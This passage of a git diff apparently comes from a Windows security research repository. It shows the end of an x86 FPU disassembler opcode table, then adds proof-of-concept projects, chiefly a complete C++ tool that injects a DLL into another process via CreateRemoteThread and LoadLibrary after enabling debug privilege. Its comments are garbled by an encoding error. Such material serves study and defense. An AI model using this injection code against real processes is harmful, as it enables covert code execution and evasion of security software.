"fist", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FISTP, "fistp", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FPU, "fbld", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FILD, "fild", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FPU, "fbstp", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FISTP, "fistp", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 }, + // ffreep undocumented!! + { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fstsw", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, +}; + +// Table of FPU instruction tables + +/* + * These tables are accessed by the following way: + * + * INST *fpuinst = inst_table4[opcode - 0xd8][index]; + * where index is determined by the MODRM byte. + * + */ +INST * inst_table4[8] = { + inst_table_fpu_d8, + inst_table_fpu_d9, + inst_table_fpu_da, + inst_table_fpu_db, + inst_table_fpu_dc, + inst_table_fpu_dd, + inst_table_fpu_de, + inst_table_fpu_df, +}; + diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/ReadMe.txt b/Win32/Proof of Concepts/CheckKernelEATHook/ReadMe.txt new file mode 100644 index 00000000..6f7967d5 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/ReadMe.txt @@ -0,0 +1,3 @@ +1.Reload the first kernel module +2.check EAT function (Zwxx) +3.check InlineHook (not Zwxx) diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread.sln b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread.sln new file mode 100644 index 00000000..4a18310f --- /dev/null +++ b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CreateRemoteThread", "CreateRemoteThread\CreateRemoteThread.vcxproj", "{62BBF757-A1B4-4FF4-89C0-2890DEF4983F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Debug|Win32.ActiveCfg = Debug|Win32 + {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Debug|Win32.Build.0 = Debug|Win32 + {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Debug|x64.ActiveCfg = Debug|x64 + {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Debug|x64.Build.0 = Debug|x64 + {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Release|Win32.ActiveCfg = Release|Win32 + {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Release|Win32.Build.0 = Release|Win32 + {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Release|x64.ActiveCfg = Release|x64 + {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.cpp b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.cpp new file mode 100644 index 00000000..b2b3146e --- /dev/null +++ b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.cpp @@ -0,0 +1,337 @@ +/* +x86şÍx64µÄעČëŇňÎŞx64µÄϵͳÔöĽÓÁ˽϶ŕµÄȨĎ޵ÄĐŁŃ飬ĐčŇŞ˝řĐĐĚáȨ´¦ŔíˇŁ +x64ĚáȨÖ÷ŇŞľÍĘÇÓõ˝ÁËntdll.dllÖеÄδµĽłöşŻĘýŁ¬RtlAdjustPrivilege(). +*/ +#include "stdafx.h" +#include "CreateRemoteThread.h" +#include + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + + +// ΨһµÄÓ¦ÓĂłĚĐň¶ÔĎó + +CWinApp theApp; + +using namespace std; + +typedef enum _WIN_VERSION +{ + WindowsNT, + Windows2000, + WindowsXP, + Windows2003, + WindowsVista, + Windows7, + Windows8, + Windows10, + WinUnknown +}WIN_VERSION; +typedef NTSTATUS( NTAPI* fnRtlGetVersion )(PRTL_OSVERSIONINFOW lpVersionInformation); + +VOID InjectDll(ULONG_PTR ProcessID, WCHAR* strPath); +WIN_VERSION GetWindowsVersion(); +BOOL EnableDebugPrivilege(); +BOOL InjectDllByRemoteThreadXP(const TCHAR* wzDllFile, ULONG_PTR ProcessId); +BOOL InjectDllByRemoteThreadWin7(const TCHAR* wzDllFile, ULONG_PTR ProcessId); + +typedef long (__fastcall *pfnRtlAdjustPrivilege64)(ULONG,ULONG,ULONG,PVOID); +typedef long (__stdcall *pfnRtlAdjustPrivilege32)(ULONG,ULONG,ULONG,PVOID); + +WIN_VERSION WinVersion = WinUnknown; + +int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) +{ + WinVersion = GetWindowsVersion(); + + if(argc == 3) + { + ULONG ProcessId = 0; + swscanf_s(argv[1], L"%d", &ProcessId); + InjectDll(ProcessId, argv[2]); + } + + return 0; +} + +VOID InjectDll(ULONG_PTR ProcessID, WCHAR* strPath) +{ + WCHAR wzPath[MAX_PATH] = {0}; + + if (ProcessID == 0 || strPath == NULL) + { + printf("Inject Fail ProcessId or strPath is not exists \r\n"); + return; + } + + GetCurrentDirectory(260,wzPath); + wcsncat_s(wzPath, L"\\", 2); + wcsncat_s(wzPath, strPath, wcslen(strPath));//dllÍęŐű·ľ¶ + + if (!PathFileExists(wzPath)) + { + printf("Inject Fail strPath is not exists LastError [%d]\r\n", GetLastError()); + return; + } + + printf("Inject Target [%d], strPath [%S]\n", ProcessID, wzPath); + + if(WinVersion >= Windows7) + { + if (!InjectDllByRemoteThreadWin7(wzPath,ProcessID)) + printf("Inject Fail\r\n"); + else + printf ("Inject Success\r\n"); + } + else + { + if (!InjectDllByRemoteThreadXP(wzPath,ProcessID)) + printf("Inject Fail\r\n"); + else + printf("Inject Success\r\n"); + } +} + + +BOOL InjectDllByRemoteThreadWin7(const TCHAR* wzDllFile, ULONG_PTR ProcessId) +{ + if (NULL == wzDllFile || 0 == ::_tcslen(wzDllFile) || ProcessId == 0 || -1 == _taccess(wzDllFile, 0)) + { + return FALSE; + } + HANDLE hProcess = NULL; + HANDLE hThread = NULL; + DWORD dwRetVal = 0; + LPTHREAD_START_ROUTINE FuncAddress = NULL; + DWORD dwSize = 0; + TCHAR* VirtualAddress = NULL; + //Ô¤±ŕŇ룬֧łÖUnicode +#ifdef _UNICODE + FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryW"); +#else + FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryA"); +#endif + + if (FuncAddress==NULL) + { + return FALSE; + } + +#ifdef _WIN64 + pfnRtlAdjustPrivilege64 RtlAdjustPrivilege = NULL; + RtlAdjustPrivilege=(pfnRtlAdjustPrivilege64)GetProcAddress((HMODULE)(FuncAddress(L"ntdll.dll")),"RtlAdjustPrivilege"); +#else + pfnRtlAdjustPrivilege32 RtlAdjustPrivilege = NULL; + RtlAdjustPrivilege=(pfnRtlAdjustPrivilege32)GetProcAddress((HMODULE)(FuncAddress(L"ntdll.dll")),"RtlAdjustPrivilege"); +#endif + + if (RtlAdjustPrivilege==NULL) + { + return FALSE; + } + /* + .łŁÁż SE_BACKUP_PRIVILEGE, "17", ą«żŞ + .łŁÁż SE_RESTORE_PRIVILEGE, "18", ą«żŞ + .łŁÁż SE_SHUTDOWN_PRIVILEGE, "19", ą«żŞ + .łŁÁż SE_DEBUG_PRIVILEGE, "20", ą«żŞ + */ + RtlAdjustPrivilege(20,1,0,&dwRetVal); //19 + + hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, ProcessId); + + if (NULL == hProcess) + { + printf("Open Process Fail lastError [%d]\r\n", GetLastError()); + return FALSE; + } + + // ÔÚÄż±ę˝řłĚÖĐ·ÖĹäÄÚ´ćżŐĽä + dwSize = (DWORD)::_tcslen(wzDllFile) + 1; + VirtualAddress = (TCHAR*)::VirtualAllocEx(hProcess, NULL, dwSize * sizeof(TCHAR), MEM_COMMIT, PAGE_READWRITE); + if (NULL == VirtualAddress) + { + printf("Virtual Process Memory Fail lastError [%d]\r\n", GetLastError()); + CloseHandle(hProcess); + return FALSE; + } + + // ÔÚÄż±ę˝řłĚµÄÄÚ´ćżŐĽäÖĐĐ´ČëËůĐč˛ÎĘý(ÄŁżéĂű) + if (FALSE == ::WriteProcessMemory(hProcess, VirtualAddress, (LPVOID)wzDllFile, dwSize * sizeof(TCHAR), NULL)) + { + printf("Write Data Fail LastError [%d]\r\n", GetLastError()); + VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT); + CloseHandle(hProcess); + return FALSE; + } + + hThread = ::CreateRemoteThread(hProcess, NULL, 0, FuncAddress, VirtualAddress, 0, NULL); + if (NULL == hThread) + { + printf("CreateRemoteThread Fail lastError [%d]\r\n", GetLastError()); + VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT); + CloseHandle(hProcess); + return FALSE; + } + // µČ´ýÔ¶łĚĎ߳̽áĘř + WaitForSingleObject(hThread, INFINITE); + // ÇĺŔí×ĘÔ´ + VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT); + CloseHandle(hThread); + CloseHandle(hProcess); + return TRUE; +} + + +BOOL InjectDllByRemoteThreadXP(const TCHAR* wzDllFile, ULONG_PTR ProcessId) +{ + // ˛ÎĘýÎŢЧ + if (NULL == wzDllFile || 0 == ::_tcslen(wzDllFile) || ProcessId == 0 || -1 == _taccess(wzDllFile, 0)) + { + return FALSE; + } + HANDLE hProcess = NULL; + HANDLE hThread = NULL; + DWORD dwSize = 0; + TCHAR* VirtualAddress = NULL; + LPTHREAD_START_ROUTINE FuncAddress = NULL; + + if(!EnableDebugPrivilege()) + { + printf("EnableDebugPrivilege fail lasterror is [%d]\n", GetLastError()); + return FALSE; + } + + // »ńȡĿ±ę˝řłĚľä±ú + hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ProcessId); + if (NULL == hProcess) + { + printf("Open Process Fail LastError [%d]\r\n", GetLastError()); + return FALSE; + } + // ÔÚÄż±ę˝řłĚÖĐ·ÖĹäÄÚ´ćżŐĽä + dwSize = (DWORD)::_tcslen(wzDllFile) + 1; + VirtualAddress = (TCHAR*)::VirtualAllocEx(hProcess, NULL, dwSize * sizeof(TCHAR), MEM_COMMIT, PAGE_READWRITE); + if (NULL == VirtualAddress) + { + printf("Virtual Process Memory Fail LastError [%d]\r\n", GetLastError()); + CloseHandle(hProcess); + return FALSE; + } + // ÔÚÄż±ę˝řłĚµÄÄÚ´ćżŐĽäÖĐĐ´ČëËůĐč˛ÎĘý(ÄŁżéĂű) + if (FALSE == ::WriteProcessMemory(hProcess, VirtualAddress, (LPVOID)wzDllFile, dwSize * sizeof(TCHAR), NULL)) + { + printf("Write Data Fail LastError [%d]\r\n", GetLastError()); + VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT); + CloseHandle(hProcess); + return FALSE; + } + // ´Ó Kernel32.dll ÖĐ»ńȡ LoadLibrary şŻĘýµŘÖ· +#ifdef _UNICODE + FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryW"); +#else + FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryA"); +#endif + + if (NULL == FuncAddress) + { + printf("Get LoadLibrary Fail LastError [%d]\r\n", GetLastError()); + VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT); + CloseHandle(hProcess); + return false; + } + + // ´´˝¨Ô¶łĚĎ̵߳÷ÓĂ LoadLibrary + hThread = ::CreateRemoteThread(hProcess, NULL, 0, FuncAddress, VirtualAddress, 0, NULL); + if (NULL == hThread) + { + printf("CreateRemoteThread Fail LastError [%d]\r\n", GetLastError()); + VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT); + CloseHandle(hProcess); + return FALSE; + } + + // µČ´ýÔ¶łĚĎ߳̽áĘř + WaitForSingleObject(hThread, INFINITE); + // ÇĺŔí + VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT); + CloseHandle(hThread); + CloseHandle(hProcess); + + return TRUE; +} + +WIN_VERSION GetWindowsVersion() +{ + RTL_OSVERSIONINFOEXW verInfo = { 0 }; + verInfo.dwOSVersionInfoSize = sizeof( verInfo ); + + fnRtlGetVersion RtlGetVersion = (fnRtlGetVersion)GetProcAddress( GetModuleHandleW( L"ntdll.dll" ), "RtlGetVersion" ); + if(RtlGetVersion != NULL && RtlGetVersion((PRTL_OSVERSIONINFOW)&verInfo) == 0) + { + if (verInfo.dwMajorVersion <= 4 ) + { + return WindowsNT; + } + if (verInfo.dwMajorVersion == 5 && verInfo.dwMinorVersion == 0) + { + return Windows2000; + } + + if (verInfo.dwMajorVersion == 5 && verInfo.dwMinorVersion == 1) + { + return WindowsXP; + } + if (verInfo.dwMajorVersion == 5 && verInfo.dwMinorVersion == 2) + { + return Windows2003; + } + if (verInfo.dwMajorVersion == 6 && verInfo.dwMinorVersion == 0) + { + return WindowsVista; + } + + if (verInfo.dwMajorVersion == 6 && verInfo.dwMinorVersion == 1) + { + return Windows7; + } + if (verInfo.dwMajorVersion == 6 && verInfo.dwMinorVersion == 2 ) + { + return Windows8; + } + if (verInfo.dwMajorVersion == 10 && verInfo.dwMinorVersion == 0 && verInfo.dwBuildNumber >= 10240) + { + return Windows10; + } + } + + return WinUnknown; +} + +BOOL EnableDebugPrivilege() +{ + HANDLE hToken; + TOKEN_PRIVILEGES TokenPrivilege; + LUID uID; + if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)) + { + printf("OpenProcessToken is Error\n"); + return FALSE; + } + if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID)) + { + printf("LookupPrivilegeValue is Error\n"); + return FALSE; + } + TokenPrivilege.PrivilegeCount = 1; + TokenPrivilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + TokenPrivilege.Privileges[0].Luid = uID; + //ÔÚŐâŔďÎŇĂÇ˝řĐе÷ŐűȨĎŢ + if (!AdjustTokenPrivileges(hToken,false,&TokenPrivilege,sizeof(TOKEN_PRIVILEGES),NULL,NULL)) + { + printf("AdjuestTokenPrivileges is Error\n"); + return FALSE; + } + return TRUE; +} diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.h b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.h new file mode 100644 index 00000000..d00d47e7 --- /dev/null +++ b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.h @@ -0,0 +1,3 @@ +#pragma once + +#include "resource.h" diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.rc b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.rc new file mode 100644 index 00000000..b0b21af1 Binary files /dev/null and b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.rc differ diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.vcxproj b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.vcxproj new file mode 100644 index 00000000..eb075426 --- /dev/null +++ b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.vcxproj @@ -0,0 +1,161 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {62BBF757-A1B4-4FF4-89C0-2890DEF4983F} + Win32Proj + CreateRemoteThread + + + + Application + true + Unicode + Dynamic + + + Application + true + Unicode + Dynamic + + + Application + false + true + Unicode + Dynamic + + + Application + false + true + Unicode + Dynamic + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.vcxproj.filters b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.vcxproj.filters new file mode 100644 index 00000000..c4dd4e97 --- /dev/null +++ b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.vcxproj.filters @@ -0,0 +1,47 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + + + ćşć–‡ä»¶ + + + ćşć–‡ä»¶ + + + + + 资ćşć–‡ä»¶ + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/ReadMe.txt b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/ReadMe.txt new file mode 100644 index 00000000..b1840afa --- /dev/null +++ b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/ReadMe.txt @@ -0,0 +1,4 @@ +32 bit process Inject The dll to 32 bit process +64 bit process Inject The dll to 64 bit process +sometimes you maybe fail to inject because cann't openprocess successful +and many safe software will protect it avoiding you to inject diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/Resource.h b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/Resource.h new file mode 100644 index 00000000..c210bb14 --- /dev/null +++ b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/Resource.h @@ -0,0 +1,17 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by CreateRemoteThread.rc +// + +#define IDS_APP_TITLE 103 + +// жÔĎóµÄĎÂŇ»×éĬČĎÖµ +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1000 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/stdafx.cpp b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/stdafx.cpp new file mode 100644 index 00000000..973aaf47 --- /dev/null +++ b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : Ö»°üŔ¨±ę׼°üş¬ÎÄĽţµÄÔ´ÎÄĽţ +// CreateRemoteThread.pch ˝«×÷ÎŞÔ¤±ŕŇëÍ· +// stdafx.obj ˝«°üş¬Ô¤±ŕŇëŔŕĐÍĐĹϢ + +#include "stdafx.h" + +// TODO: ÔÚ STDAFX.H ÖĐ +// ŇýÓĂČÎşÎËůĐčµÄ¸˝ĽÓÍ·ÎÄĽţŁ¬¶ř˛»ĘÇÔÚ´ËÎÄĽţÖĐŇýÓĂ diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/stdafx.h b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/stdafx.h new file mode 100644 index 00000000..4721a605 --- /dev/null +++ b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/stdafx.h @@ -0,0 +1,32 @@ +// stdafx.h : ±ę׼ϵͳ°üş¬ÎÄĽţµÄ°üş¬ÎÄĽţŁ¬ +// »ňĘÇľ­łŁĘąÓõ«˛»łŁ¸ü¸ÄµÄ +// Ěض¨ÓÚĎîÄżµÄ°üş¬ÎÄĽţ +// + 